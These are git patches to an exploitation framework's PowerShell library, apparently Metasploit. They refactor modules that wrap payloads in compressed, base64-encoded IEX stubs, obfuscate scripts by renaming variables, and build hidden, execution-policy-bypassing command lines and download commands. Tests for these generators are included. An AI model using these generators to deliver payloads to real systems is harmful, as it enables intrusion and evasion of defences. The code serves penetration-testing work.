-  describe "::generate_psh_command_line" do
-    it 'should contain no full stop when :no_full_stop' do
-      opts = {:no_full_stop => true}
-      command = subject.generate_psh_command_line(opts)
-      command.include?("powershell ").should be_true
-    end
-
-    it 'should contain full stop unless :no_full_stop' do
-      opts = {}
-      command = subject.generate_psh_command_line(opts)
-      command.include?("powershell.exe ").should be_true
-
-      opts = {:no_full_stop => false}
-      command = subject.generate_psh_command_line(opts)
-      command.include?("powershell.exe ").should be_true
-    end
-
-    it 'should ensure the path should always ends with \\' do
-      opts = {:path => "test"}
-      command = subject.generate_psh_command_line(opts)
-      command.include?("test\\powershell.exe ").should be_true
-
-      opts = {:path => "test\\"}
-      command = subject.generate_psh_command_line(opts)
-      command.include?("test\\powershell.exe ").should be_true
-    end
-  end
-
-  describe "::generate_psh_args" do
-    it 'should return empty string for nil opts' do
-      subject.generate_psh_args(nil).should eql ""
-    end
-
-    command_args = [[:encodedcommand, "parp"],
-                    [:executionpolicy, "bypass"],
-                    [:inputformat, "xml"],
-                    [:file, "x"],
-                    [:noexit, true],
-                    [:nologo, true],
-                    [:noninteractive, true],
-                    [:mta, true],
-                    [:outputformat, 'xml'],
-                    [:sta, true],
-                    [:noprofile, true],
-                    [:windowstyle, "hidden"],
-                    [:command, "Z"]
-    ]
-
-    permutations = (0..command_args.length).to_a.combination(2).map{|i,j| command_args[i...j]}
-
-    permutations.each do |perms|
-      opts = {}
-      perms.each do |k,v|
-        opts[k] = v
-        it "should generate correct arguments for #{opts}" do
-          opts[:shorten] = true
-          short_args = subject.generate_psh_args(opts)
-          opts[:shorten] = false
-          long_args = subject.generate_psh_args(opts)
-
-          opt_length = opts.length - 1
-
-          short_args.should_not be_nil
-          long_args.should_not be_nil
-          short_args.count('-').should eql opt_length
-          long_args.count('-').should eql opt_length
-          short_args[0].should_not eql " "
-          long_args[0].should_not eql " "
-          short_args[-1].should_not eql " "
-          long_args[-1].should_not eql " "
-
-          if opts[:command]
-            long_args[-10..-1].should eql "-Command Z"
-            short_args[-4..-1].should eql "-c Z"
-          end
-       end
-      end
-    end
-  end
-
-end
-
diff --git a/spec/lib/msf/core/exploit/powershell_spec.rb b/spec/lib/msf/core/exploit/powershell_spec.rb
index c02f3c72a4d3..7d7d262e8d37 100644
--- a/spec/lib/msf/core/exploit/powershell_spec.rb
+++ b/spec/lib/msf/core/exploit/powershell_spec.rb
@@ -29,13 +29,6 @@ def decompress(code)
     'x86'
   end
 
-  describe "::read_script" do
-    it 'should read a sample script file' do
-      script = subject.read_script(example_script)
-      script.should be_kind_of(Rex::Exploitation::Powershell::Script)
-    end
-  end
-
   describe "::encode_script" do
     it 'should read and encode a sample script file' do
       script = subject.encode_script(example_script)

From d85e4b1313e91183f635f4d38a26b0b32bd02c31 Mon Sep 17 00:00:00 2001
From: Meatballs <eat_meatballs@hotmail.co.uk>
Date: Fri, 25 Apr 2014 15:47:36 +0100
Subject: [PATCH 090/108] Error if encode_inner and encode_final

---
 spec/lib/msf/core/exploit/powershell_spec.rb | 11 +++++++++++
 1 file changed, 11 insertions(+)

diff --git a/spec/lib/msf/core/exploit/powershell_spec.rb b/spec/lib/msf/core/exploit/powershell_spec.rb
index 7d7d262e8d37..68bde38ab56c 100644
--- a/spec/lib/msf/core/exploit/powershell_spec.rb
+++ b/spec/lib/msf/core/exploit/powershell_spec.rb
@@ -376,6 +376,17 @@ def decompress(code)
           code.include?('=').should be_false
         end
       end
+      context 'when encode_inner_payload is true' do
+        it 'should raise an exception' do
+          except = false
+          begin
+            subject.cmd_psh_payload(payload, arch, {:encode_final_payload => true, :encode_inner_payload => true})
+          rescue RuntimeError
+            except = true
+          end
+          except.should be_true
+        end
+      end
     end
 
     context 'when remove_comspec' do

From 3f5cc13bf881e1ad0ad237aea9c4836bcb6eed11 Mon Sep 17 00:00:00 2001
From: Meatballs <eat_meatballs@hotmail.co.uk>
Date: Fri, 25 Apr 2014 17:15:12 +0100
Subject: [PATCH 091/108] Better eof test

---
 spec/lib/msf/core/exploit/powershell_spec.rb | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/spec/lib/msf/core/exploit/powershell_spec.rb b/spec/lib/msf/core/exploit/powershell_spec.rb
index 68bde38ab56c..21891ab34596 100644
--- a/spec/lib/msf/core/exploit/powershell_spec.rb
+++ b/spec/lib/msf/core/exploit/powershell_spec.rb
@@ -49,7 +49,8 @@ def decompress(code)
       it 'should create a compressed script with eof' do
         script = File.read(example_script)
         compressed = subject.compress_script(script, 'end_of_file')
-        compressed.length.should be < script.length
+        puts compressed
+        compressed.include?('end_of_file').should be_true
       end
     end
 

From 318ae46085a363cf429522d114e2bacf0fb44840 Mon Sep 17 00:00:00 2001
From: Meatballs <eat_meatballs@hotmail.co.uk>
Date: Sat, 26 Apr 2014 12:59:19 +0100
Subject: [PATCH 092/108] Remove puts

---
 spec/lib/msf/core/exploit/powershell_spec.rb | 1 -
 1 file changed, 1 deletion(-)

diff --git a/spec/lib/msf/core/exploit/powershell_spec.rb b/spec/lib/msf/core/exploit/powershell_spec.rb
index 21891ab34596..3b67509ff359 100644
--- a/spec/lib/msf/core/exploit/powershell_spec.rb
+++ b/spec/lib/msf/core/exploit/powershell_spec.rb
@@ -49,7 +49,6 @@ def decompress(code)
       it 'should create a compressed script with eof' do
         script = File.read(example_script)
         compressed = subject.compress_script(script, 'end_of_file')
-        puts compressed
         compressed.include?('end_of_file').should be_true
       end
     end

From be10c8e4acd3e6efc1bede93b1d107dd581d6a1c Mon Sep 17 00:00:00 2001
From: Meatballs <eat_meatballs@hotmail.co.uk>
Date: Sat, 26 Apr 2014 12:59:43 +0100
Subject: [PATCH 093/108] Split Rex::Exploitation::Powershell::* into
 individual files

---
 lib/rex/exploitation/powershell.rb            | 584 +-----------------
 lib/rex/exploitation/powershell/function.rb   |  56 ++
 lib/rex/exploitation/powershell/obfu.rb       |  98 +++
 lib/rex/exploitation/powershell/output.rb     | 150 +++++
 lib/rex/exploitation/powershell/param.rb      |  30 +
 lib/rex/exploitation/powershell/parser.rb     | 150 +++++
 .../exploitation/powershell/psh_methods.rb    |  75 +++
 lib/rex/exploitation/powershell/script.rb     | 112 ++++
 8 files changed, 678 insertions(+), 577 deletions(-)
 create mode 100644 lib/rex/exploitation/powershell/function.rb
 create mode 100644 lib/rex/exploitation/powershell/obfu.rb
 create mode 100644 lib/rex/exploitation/powershell/output.rb
 create mode 100644 lib/rex/exploitation/powershell/param.rb
 create mode 100644 lib/rex/exploitation/powershell/parser.rb
 create mode 100644 lib/rex/exploitation/powershell/psh_methods.rb
 create mode 100644 lib/rex/exploitation/powershell/script.rb

diff --git a/lib/rex/exploitation/powershell.rb b/lib/rex/exploitation/powershell.rb
index e7dd429dbbc7..c4a52c12136c 100644
--- a/lib/rex/exploitation/powershell.rb
+++ b/lib/rex/exploitation/powershell.rb
@@ -1,7 +1,12 @@
 # -*- coding: binary -*-
 
-require 'zlib'
-require 'rex/text'
+require 'rex/exploitation/powershell/output'
+require 'rex/exploitation/powershell/parser'
+require 'rex/exploitation/powershell/obfu'
+require 'rex/exploitation/powershell/param'
+require 'rex/exploitation/powershell/function'
+require 'rex/exploitation/powershell/script'
+require 'rex/exploitation/powershell/psh_methods'
 
 module Rex
 module Exploitation
@@ -55,581 +60,6 @@ def process_subs(subs)
     new_subs
   end
 
-  module Output
-
-    #
-    # To String
-    #
-    # @return [String] Code
-    def to_s
-      code
-    end
-
-    #
-    # Returns code size
-    #
-    # @return [Integer] Code size
-    def size
-      code.size
-    end
-
-    #
-    # Return code with numbered lines
-    #
-    # @return [String] Powershell code with line numbers
-    def to_s_lineno
-      numbered = ''
-      code.split(/\r\n|\n/).each_with_index do |line,idx|
-        numbered << "#{idx}: #{line}"
-      end
-      return numbered
-    end
-
-    #
-    # Return a zlib compressed powershell code wrapped in decode stub
-    #
-    # @param eof [String] End of file identifier to append to code
-    #
-    # @return [String] Zlib compressed powershell code wrapped in
-    # decompression stub
-    def deflate_code(eof = nil)
-      # Compress using the Deflate algorithm
-      compressed_stream = ::Zlib::Deflate.deflate(code,
-      ::Zlib::BEST_COMPRESSION)
-
-      # Base64 encode the compressed file contents
-      encoded_stream = Rex::Text.encode_base64(compressed_stream)
-
-      # Build the powershell expression
-      # Decode base64 encoded command and create a stream object
-      psh_expression =  "$s=New-Object IO.MemoryStream(,"
-      psh_expression << "[Convert]::FromBase64String('#{encoded_stream}'));"
-      # Read & delete the first two bytes due to incompatibility with MS
-      psh_expression << "$s.ReadByte();"
-      psh_expression << "$s.ReadByte();"
-      # Uncompress and invoke the expression (execute)
-      psh_expression << "IEX (New-Object IO.StreamReader("
-      psh_expression << "New-Object IO.Compression.DeflateStream("
-      psh_expression << "$s,"
-      psh_expression << "[IO.Compression.CompressionMode]::Decompress)"
-      psh_expression << ")).ReadToEnd();"
-
-      # If eof is set, add a marker to signify end of code output
-      #if (eof && eof.length == 8) then psh_expression += "'#{eof}'" end
-      psh_expression << "echo '#{eof}';" if eof
-
-      @code = psh_expression
-    end
-
-    #
-    # Return Base64 encoded powershell code
-    #
-    # @return [String] Base64 encoded powershell code
-    def encode_code
-      @code = Rex::Text.encode_base64(Rex::Text.to_unicode(code))
-    end
-
-    #
-    # Return a gzip compressed powershell code wrapped in decoder stub
-    #
-    # @param eof [String] End of file identifier to append to code
-    #
-    # @return [String] Gzip compressed powershell code wrapped in
-    # decompression stub
-    def gzip_code(eof = nil)
-      # Compress using the Deflate algorithm
-      compressed_stream = Rex::Text.gzip(code)
-
-      # Base64 encode the compressed file contents
-      encoded_stream = Rex::Text.encode_base64(compressed_stream)
-
-      # Build the powershell expression
-      # Decode base64 encoded command and create a stream object
-      psh_expression =  "$s=New-Object IO.MemoryStream(,"
-      psh_expression << "[Convert]::FromBase64String('#{encoded_stream}'));"
-      # Uncompress and invoke the expression (execute)
-      psh_expression << "IEX (New-Object IO.StreamReader("
-      psh_expression << "New-Object IO.Compression.GzipStream("
-      psh_expression << "$s,"
-      psh_expression << "[IO.Compression.CompressionMode]::Decompress)"
-      psh_expression << ")).ReadToEnd();"
-
-      # If eof is set, add a marker to signify end of code output
-      #if (eof && eof.length == 8) then psh_expression += "'#{eof}'" end
-      psh_expression << "echo '#{eof}';" if eof
-
-      @code = psh_expression
-    end
-
-    #
-    # Compresses script contents with gzip (default) or deflate
-    #
-    # @param eof [String] End of file identifier to append to code
-    # @param gzip [Boolean] Whether to use gzip compression or deflate
-    # @param in_place [Boolean] Whether to update the current script
-    #   code or just return the output.
-    #
-    # @return [String] Compressed code wrapped in decompression stub
-    def compress_code(eof = nil, gzip = true, in_place = true)
-      code = gzip ? gzip_code(eof) : deflate_code(eof)
-      @code = code if in_place
-      return code
-    end
-
-    #
-    # Reverse the compression process
-    # Try gzip, inflate if that fails
-    #
-    # @return [String] Decompressed powershell code
-    def decompress_code
-      # Extract substring with payload
-      encoded_stream = @code.scan(/FromBase64String\('(.*)'/).flatten.first
-      # Decode and decompress the string
-      @code = ( Rex::Text.ungzip( Rex::Text.decode_base64(encoded_stream) ) ||
-        Rex::Text.zlib_inflate( Rex::Text.decode_base64(encoded_stream)) )
-      return code
-    end
-  end
-
-  module Parser
-    # Reserved special variables
-    # Acquired with: Get-Variable | Format-Table name, value -auto
-    RESERVED_VARIABLE_NAMES = [
-        '$$',
-        '$?',
-        '$^',
-        '$_',
-        '$args',
-        '$ConfirmPreference',
-        '$ConsoleFileName',
-        '$DebugPreference',
-        '$Env',
-        '$Error',
-        '$ErrorActionPreference',
-        '$ErrorView',
-        '$ExecutionContext',
-        '$false',
-        '$FormatEnumerationLimit',
-        '$HOME',
-        '$Host',
-        '$input',
-        '$LASTEXITCODE',
-        '$MaximumAliasCount',
-        '$MaximumDriveCount',
-        '$MaximumErrorCount',
-        '$MaximumFunctionCount',
-        '$MaximumHistoryCount',
-        '$MaximumVariableCount',
-        '$MyInvocation',
-        '$NestedPromptLevel',
-        '$null',
-        '$OutputEncoding',
-        '$PID',
-        '$PROFILE',
-        '$ProgressPreference',
-        '$PSBoundParameters',
-        '$PSCulture',
-        '$PSEmailServer',
-        '$PSHOME',
-        '$PSSessionApplicationName',
-        '$PSSessionConfigurationName',
-        '$PSSessionOption',
-        '$PSUICulture',
-        '$PSVersionTable',
-        '$PWD',
-        '$ReportErrorShowExceptionClass',
-        '$ReportErrorShowInnerException',
-        '$ReportErrorShowSource',
-        '$ReportErrorShowStackTrace',
-        '$ShellId',
-        '$StackTrace',
-        '$true',
-        '$VerbosePreference',
-        '$WarningPreference',
-        '$WhatIfPreference'
-      ].map(&:downcase).freeze
-
-    #
-    # Get variable names from code, removes reserved names from return
-    #
-    def get_var_names
-      our_vars = code.scan(/\$[a-zA-Z\-\_]+/).uniq.flatten.map(&:strip)
-      return our_vars.select {|v| !RESERVED_VARIABLE_NAMES.include?(v.downcase)}
-    end
-
-    #
-    # Get function names from code
-    #
-    def get_func_names
-      return code.scan(/function\s([a-zA-Z\-\_]+)/).uniq.flatten
-    end
-
-    # Attempt to find string literals in PSH expression
-    def get_string_literals
-      code.scan(/@"(.*)"@|@'(.*)'@/)
-    end
-
-    #
-    # Scan code and return matches with index
-    #
-    def scan_with_index(str,source=code)
-      ::Enumerator.new do |y|
-        source.scan(str) do
-          y << ::Regexp.last_match
-        end
-      end.map{|m| [m.to_s,m.offset(0)[0]]}
-    end
-
-    #
-    # Return matching bracket type
-    #
-    def match_start(char)
-      case char
-      when '{'
-        '}'
-      when '('
-        ')'
-      when '['
-        ']'
-      when '<'
-        '>'
-      end
-    end
-
-    #
-    # Extract block of code between inside brackets/parens
-    #
-    # Attempts to match the bracket at idx, handling nesting manually
-    # Once the balanced matching bracket is found, all script content
-    # between idx and the index of the matching bracket is returned
-    #
-    def block_extract(idx)
-      start = code[idx]
-      stop = match_start(start)
-      delims = scan_with_index(/#{Regexp.escape(start)}|#{Regexp.escape(stop)}/,code[idx+1..-1])
-      delims.map {|x| x[1] = x[1] + idx + 1}
-      c = 1
-      sidx = nil
-      # Go through delims till we balance, get idx
-      while not c == 0 and x = delims.shift do
-        sidx = x[1]
-        x[0] == stop ? c -=1 : c+=1
-      end
-      return code[idx..sidx]
-    end
-
-    def get_func(func_name, delete = false)
-      start = code.index(func_name)
-      idx = code[start..-1].index('{') + start
-      func_txt = block_extract(idx)
-      code.delete(ftxt) if delete
-      return Function.new(func_name,func_txt)
-    end
-  end # Parser
-
-  module Obfu
-
-    #
-    # Create hash of string substitutions
-    #
-    def sub_map_generate(strings)
-      map = {}
-      strings.flatten.each do |str|
-        map[str] = "$#{Rex::Text.rand_text_alpha(rand(2)+2)}"
-        # Ensure our variables are unique
-        while not map.values.uniq == map.values
-          map[str] = "$#{Rex::Text.rand_text_alpha(rand(2)+2)}"
-        end
-      end
-      return map
-    end
-
-    #
-    # Remove comments
-    #
-    def strip_comments
-      # Multi line
-      code.gsub!(/<#(.*?)#>/m,'')
-      # Single line
-      code.gsub!(/^\s*#(?!.*region)(.*$)/i,'')
-    end
-
-    #
-    # Remove empty lines
-    #
-    def strip_empty_lines
-      # Windows EOL
-      code.gsub!(/[\r\n]+/,"\r\n")
-      # UNIX EOL
-      code.gsub!(/[\n]+/,"\n")
-    end
-
-    #
-    # Remove whitespace
-    # This can break some codes using inline .NET
-    #
-    def strip_whitespace
-      code.gsub!(/\s+/,' ')
-    end
-
-    #
-    # Identify variables and replace them
-    #
-    def sub_vars
-      # Get list of variables, remove reserved
-      vars = get_var_names
-      # Create map, sub key for val
-      sub_map_generate(vars).each do |var,sub|
-        code.gsub!(var,sub)
-      end
-    end
-
-    #
-    # Identify function names and replace them
-    #
-    def sub_funcs
-      # Find out function names, make map
-      # Sub map keys for values
-      sub_map_generate(get_func_names).each do |var,sub|
-        code.gsub!(var,sub)
-      end
-    end
-
-    #
-    # Perform standard substitutions
-    #
-    def standard_subs(subs = %w{strip_comments strip_whitespace sub_funcs sub_vars} )
-      # Save us the trouble of breaking injected .NET and such
-      subs.delete('strip_whitespace') unless string_literals.empty?
-      # Run selected modifiers
-      subs.each do |modifier|
-        self.send(modifier)
-      end
-      code.gsub!(/^$|^\s+$/,'')
-      return code
-    end
-
-  end # Obfu
-
-  class Param
-    attr_accessor :klass, :name
-    def initialize(klass,name)
-      @klass = klass.strip.gsub(/\[|\]|\s/,'')
-      @name = name.strip.gsub(/\s|,/,'')
-    end
-
-    #
-    # To String
-    #
-    # @return [String] Powershell param
-    def to_s
-      "[#{klass}]$#{name}"
-    end
-  end
-
-  class Function
-    attr_accessor :code, :name, :params
-
-    include Output
-    include Parser
-    include Obfu
-
-    def initialize(name,code)
-      @name = name
-      @code = code
-      populate_params
-    end
-
-    #
-    # To String
-    #
-    # @return [String] Powershell function
-    def to_s
-      "function #{name} #{code}"
-    end
-
-    #
-    # Identify the parameters from the code and 
-    # store as Param in @params
-    #
-    def populate_params
-      @params = []
-      start = code.index(/param\s+\(|param\(/im)
-      return unless start
-      # Get start of our block
-      idx = scan_with_index('(',code[start..-1]).first.last + start
-      pclause = block_extract(idx)
-      # Keep lines which declare a variable of some class
-      vars = pclause.split(/\n|;/).select {|e| e =~ /\]\$\w/}
-      vars.map! {|v| v.split('=',2).first}.map(&:strip)
-      # Ignore assignment, create params with class and variable names
-      vars.map {|e| e.split('$')}.each do |klass,name|
-        @params << Param.new(klass,name)
-      end
-    end
-  end
-
-  class Script
-    attr_accessor :code
-    attr_reader :functions
-
-    include Output
-    include Parser
-    include Obfu
-    # Pretend we are actually a string
-    extend Forwardable
-    # In case someone messes with String we delegate based on its instance methods
-    #eval %Q|def_delegators :@code, :#{::String.instance_methods[0..(String.instance_methods.index(:class)-1)].join(', :')}|
-    def_delegators :@code, :each_line, :strip, :chars, :intern, :chr, :casecmp, :ascii_only?, :<, :tr_s,
-                   :!=, :capitalize!, :ljust, :to_r, :sum, :private_methods, :gsub,:dump, :match, :to_sym,
-                   :enum_for, :display, :tr_s!, :freeze, :gsub, :split, :rindex, :<<, :<=>, :+, :lstrip!,
-                   :encoding, :start_with?, :swapcase, :lstrip!, :encoding, :start_with?, :swapcase,
-                   :each_byte, :lstrip, :codepoints, :insert, :getbyte, :swapcase!, :delete, :rjust, :>=,
-                   :!, :count, :slice, :clone, :chop!, :prepend, :succ!, :upcase, :include?, :frozen?,
-                   :delete!, :chop, :lines, :replace, :next, :=~, :==, :rstrip!, :%, :upcase!, :each_char,
-                   :hash, :rstrip, :length, :reverse, :setbyte, :bytesize, :squeeze, :>, :center, :[],
-                   :<=, :to_c, :slice!, :chomp!, :next!, :downcase, :unpack, :crypt, :partition,
-                   :between?, :squeeze!, :to_s, :chomp, :bytes, :clear, :!~, :to_i, :valid_encoding?, :===,
-                   :tr, :downcase!, :scan, :sub!, :each_codepoint, :reverse!, :class, :size, :empty?, :byteslice,
-                   :initialize_clone, :to_str, :to_enum,:tap, :tr!, :trust, :encode!, :sub, :oct, :succ, :index,
-                   :[]=, :encode, :*, :hex, :to_f, :strip!, :rpartition, :ord, :capitalize, :upto, :force_encoding,
-                   :end_with?
-
-    def initialize(code)
-      @code = ''
-      begin
-        # Open code file for reading
-        fd = ::File.new(code, 'rb')
-        while (line = fd.gets)
-          @code << line
-        end
-
-        # Close open file
-        fd.close
-      rescue Errno::ENAMETOOLONG, Errno::ENOENT
-        # Treat code as a... code
-        @code = code.to_s.dup # in case we're eating another script
-      end
-      @functions = get_func_names.map {|f| get_func(f)}
-    end
-
-
-    ##
-    # Class methods
-    ##
-
-    #
-    # Convert binary to byte array, read from file if able
-    #
-    # @param input_data [String] Path to powershell file or powershell
-    #   code string
-    # @param var_name [String] Byte array variable name
-    #
-    # @return [String] input_data as a powershell byte array
-    def self.to_byte_array(input_data,var_name = Rex::Text.rand_text_alpha(rand(3)+3))
-      # File will raise an exception if the path contains null byte
-      if input_data.include? "\x00"
-        code = input_data
-      else
-        code = ::File.file?(input_data) ? ::File.read(input_data) : input_data
-      end
-
-      code = code.unpack('C*')
-      psh = "[Byte[]] $#{var_name} = 0x#{code[0].to_s(16)}"
-      lines = []
-      1.upto(code.length-1) do |byte|
-        if(byte % 10 == 0)
-          lines.push "\r\n$#{var_name} += 0x#{code[byte].to_s(16)}"
-        else
-          lines.push ",0x#{code[byte].to_s(16)}"
-        end
-      end
-
-      return psh << lines.join("") + "\r\n"
-    end
-
-    #
-    # ?? RageLtMan
-    #
-    # @param dir [String] ?
-    def self.psp_funcs(dir)
-      scripts = Dir.glob(File.expand_path(dir) + '/**/*').select {|e| e =~ /ps1$|psm1$/}
-      functions = scripts.map {|s| puts s; Script.new(s).functions}
-      return functions.flatten
-    end
-
-    #
-    # Return list of code modifier methods
-    #
-    # @return [Array] Code modifiers
-    def self.code_modifiers
-      self.instance_methods.select {|m| m =~ /^(strip|sub)/}
-    end
-  end # class Script
-
-  ##
-  # Convenience methods for generating powershell code in Ruby
-  ##
-  
-  module PshMethods
-
-    #
-    # Download file via .NET WebClient
-    #
-    # @param src [String] URL to the file
-    # @param target [String] Location to save the file
-    #
-    # @return [String] Powershell code to download a file
-    def self.download(src,target=nil)
-      target ||= '$pwd\\' << src.split('/').last
-      return %Q^(new-object System.Net.WebClient).Downloadfile("#{src}", "#{target}")^
-    end
-
-    #
-    # Uninstall app, or anything named like app
-    #
-    # @param app [String] Name of application
-    # @param fuzzy [Boolean] Whether to apply a fuzzy match (-like) to
-    #   the application name
-    #
-    # @return [String] Powershell code to uninstall an application
-    def self.uninstall(app,fuzzy=true)
-      match = fuzzy ? '-like' : '-eq'
-      return %Q^$app = Get-WmiObject -Class Win32_Product | Where-Object { $_.Name #{match} "#{app}" }; $app.Uninstall()^
-    end
-
-    #
-    # Create secure string from plaintext
-    #
-    # @param str [String] String to create as a SecureString
-    #
-    # @return [String] Powershell code to create a SecureString
-    def self.secure_string(str)
-      return %Q^ConvertTo-SecureString -string '#{str}' -AsPlainText -Force$^
-    end
-
-    #
-    # Find PID of file lock owner
-    #
-    # @param filename [String] Filename
-    #
-    # @return [String] Powershell code to identify the PID of a file
-    #   lock owner
-    def self.who_locked_file?(filename)
-      return %Q^ Get-Process | foreach{$processVar = $_;$_.Modules | foreach{if($_.FileName -eq "#{filename}"){$processVar.Name + " PID:" + $processVar.id}}}^
-    end
-
-    #
-    # Return last time of login
-    #
-    # @param user [String] Username
-    #
-    # @return [String] Powershell code to return the last time of a user
-    #   login
-    def self.get_last_login(user)
-      return %Q^ Get-QADComputer -ComputerRole DomainController | foreach { (Get-QADUser -Service $_.Name -SamAccountName "#{user}").LastLogon} | Measure-Latest^
-    end
-  end
 end
 end
 end
diff --git a/lib/rex/exploitation/powershell/function.rb b/lib/rex/exploitation/powershell/function.rb
new file mode 100644
index 000000000000..748a2dd328d4
--- /dev/null
+++ b/lib/rex/exploitation/powershell/function.rb
@@ -0,0 +1,56 @@
+# -*- coding: binary -*-
+
+require 'zlib'
+require 'rex/text'
+
+module Rex
+module Exploitation
+
+module Powershell
+
+  class Function
+    attr_accessor :code, :name, :params
+
+    include Output
+    include Parser
+    include Obfu
+
+    def initialize(name,code)
+      @name = name
+      @code = code
+      populate_params
+    end
+
+    #
+    # To String
+    #
+    # @return [String] Powershell function
+    def to_s
+      "function #{name} #{code}"
+    end
+
+    #
+    # Identify the parameters from the code and
+    # store as Param in @params
+    #
+    def populate_params
+      @params = []
+      start = code.index(/param\s+\(|param\(/im)
+      return unless start
+      # Get start of our block
+      idx = scan_with_index('(',code[start..-1]).first.last + start
+      pclause = block_extract(idx)
+      # Keep lines which declare a variable of some class
+      vars = pclause.split(/\n|;/).select {|e| e =~ /\]\$\w/}
+      vars.map! {|v| v.split('=',2).first}.map(&:strip)
+      # Ignore assignment, create params with class and variable names
+      vars.map {|e| e.split('$')}.each do |klass,name|
+        @params << Param.new(klass,name)
+      end
+    end
+  end
+
+end
+end
+end
+
diff --git a/lib/rex/exploitation/powershell/obfu.rb b/lib/rex/exploitation/powershell/obfu.rb
new file mode 100644
index 000000000000..2a1d36488451
--- /dev/null
+++ b/lib/rex/exploitation/powershell/obfu.rb
@@ -0,0 +1,98 @@
+# -*- coding: binary -*-
+
+require 'zlib'
+require 'rex/text'
+
+module Rex
+module Exploitation
+
+module Powershell
+
+  module Obfu
+
+    #
+    # Create hash of string substitutions
+    #
+    def sub_map_generate(strings)
+      map = {}
+      strings.flatten.each do |str|
+        map[str] = "$#{Rex::Text.rand_text_alpha(rand(2)+2)}"
+        # Ensure our variables are unique
+        while not map.values.uniq == map.values
+          map[str] = "$#{Rex::Text.rand_text_alpha(rand(2)+2)}"
+        end
+      end
+      return map
+    end
+
+    #
+    # Remove comments
+    #
+    def strip_comments
+      # Multi line
+      code.gsub!(/<#(.*?)#>/m,'')
+      # Single line
+      code.gsub!(/^\s*#(?!.*region)(.*$)/i,'')
+    end
+
+    #
+    # Remove empty lines
+    #
+    def strip_empty_lines
+      # Windows EOL
+      code.gsub!(/[\r\n]+/,"\r\n")
+      # UNIX EOL
+      code.gsub!(/[\n]+/,"\n")
+    end
+
+    #
+    # Remove whitespace
+    # This can break some codes using inline .NET
+    #
+    def strip_whitespace
+      code.gsub!(/\s+/,' ')
+    end
+
+    #
+    # Identify variables and replace them
+    #
+    def sub_vars
+      # Get list of variables, remove reserved
+      vars = get_var_names
+      # Create map, sub key for val
+      sub_map_generate(vars).each do |var,sub|
+        code.gsub!(var,sub)
+      end
+    end
+
+    #
+    # Identify function names and replace them
+    #
+    def sub_funcs
+      # Find out function names, make map
+      # Sub map keys for values
+      sub_map_generate(get_func_names).each do |var,sub|
+        code.gsub!(var,sub)
+      end
+    end
+
+    #
+    # Perform standard substitutions
+    #
+    def standard_subs(subs = %w{strip_comments strip_whitespace sub_funcs sub_vars} )
+      # Save us the trouble of breaking injected .NET and such
+      subs.delete('strip_whitespace') unless string_literals.empty?
+      # Run selected modifiers
+      subs.each do |modifier|
+        self.send(modifier)
+      end
+      code.gsub!(/^$|^\s+$/,'')
+      return code
+    end
+
+  end # Obfu
+
+end
+end
+end
+
diff --git a/lib/rex/exploitation/powershell/output.rb b/lib/rex/exploitation/powershell/output.rb
new file mode 100644
index 000000000000..19e5a4fc2353
--- /dev/null
+++ b/lib/rex/exploitation/powershell/output.rb
@@ -0,0 +1,150 @@
+# -*- coding: binary -*-
+
+require 'zlib'
+require 'rex/text'
+
+module Rex
+module Exploitation
+
+module Powershell
+
+  module Output
+
+    #
+    # To String
+    #
+    # @return [String] Code
+    def to_s
+      code
+    end
+
+    #
+    # Returns code size
+    #
+    # @return [Integer] Code size
+    def size
+      code.size
+    end
+
+    #
+    # Return code with numbered lines
+    #
+    # @return [String] Powershell code with line numbers
+    def to_s_lineno
+      numbered = ''
+      code.split(/\r\n|\n/).each_with_index do |line,idx|
+        numbered << "#{idx}: #{line}"
+      end
+      return numbered
+    end
+
+    #
+    # Return a zlib compressed powershell code wrapped in decode stub
+    #
+    # @param eof [String] End of file identifier to append to code
+    #
+    # @return [String] Zlib compressed powershell code wrapped in
+    # decompression stub
+    def deflate_code(eof = nil)
+      # Compress using the Deflate algorithm
+      compressed_stream = ::Zlib::Deflate.deflate(code,
+      ::Zlib::BEST_COMPRESSION)
+
+      # Base64 encode the compressed file contents
+      encoded_stream = Rex::Text.encode_base64(compressed_stream)
+
+      # Build the powershell expression
+      # Decode base64 encoded command and create a stream object
+      psh_expression =  "$s=New-Object IO.MemoryStream(,"
+      psh_expression << "[Convert]::FromBase64String('#{encoded_stream}'));"
+      # Read & delete the first two bytes due to incompatibility with MS
+      psh_expression << "$s.ReadByte();"
+      psh_expression << "$s.ReadByte();"
+      # Uncompress and invoke the expression (execute)
+      psh_expression << "IEX (New-Object IO.StreamReader("
+      psh_expression << "New-Object IO.Compression.DeflateStream("
+      psh_expression << "$s,"
+      psh_expression << "[IO.Compression.CompressionMode]::Decompress)"
+      psh_expression << ")).ReadToEnd();"
+
+      # If eof is set, add a marker to signify end of code output
+      #if (eof && eof.length == 8) then psh_expression += "'#{eof}'" end
+      psh_expression << "echo '#{eof}';" if eof
+
+      @code = psh_expression
+    end
+
+    #
+    # Return Base64 encoded powershell code
+    #
+    # @return [String] Base64 encoded powershell code
+    def encode_code
+      @code = Rex::Text.encode_base64(Rex::Text.to_unicode(code))
+    end
+
+    #
+    # Return a gzip compressed powershell code wrapped in decoder stub
+    #
+    # @param eof [String] End of file identifier to append to code
+    #
+    # @return [String] Gzip compressed powershell code wrapped in
+    # decompression stub
+    def gzip_code(eof = nil)
+      # Compress using the Deflate algorithm
+      compressed_stream = Rex::Text.gzip(code)
+
+      # Base64 encode the compressed file contents
+      encoded_stream = Rex::Text.encode_base64(compressed_stream)
+
+      # Build the powershell expression
+      # Decode base64 encoded command and create a stream object
+      psh_expression =  "$s=New-Object IO.MemoryStream(,"
+      psh_expression << "[Convert]::FromBase64String('#{encoded_stream}'));"
+      # Uncompress and invoke the expression (execute)
+      psh_expression << "IEX (New-Object IO.StreamReader("
+      psh_expression << "New-Object IO.Compression.GzipStream("
+      psh_expression << "$s,"
+      psh_expression << "[IO.Compression.CompressionMode]::Decompress)"
+      psh_expression << ")).ReadToEnd();"
+
+      # If eof is set, add a marker to signify end of code output
+      #if (eof && eof.length == 8) then psh_expression += "'#{eof}'" end
+      psh_expression << "echo '#{eof}';" if eof
+
+      @code = psh_expression
+    end
+
+    #
+    # Compresses script contents with gzip (default) or deflate
+    #
+    # @param eof [String] End of file identifier to append to code
+    # @param gzip [Boolean] Whether to use gzip compression or deflate
+    # @param in_place [Boolean] Whether to update the current script
+    #   code or just return the output.
+    #
+    # @return [String] Compressed code wrapped in decompression stub
+    def compress_code(eof = nil, gzip = true, in_place = true)
+      code = gzip ? gzip_code(eof) : deflate_code(eof)
+      @code = code if in_place
+      return code
+    end
+
+    #
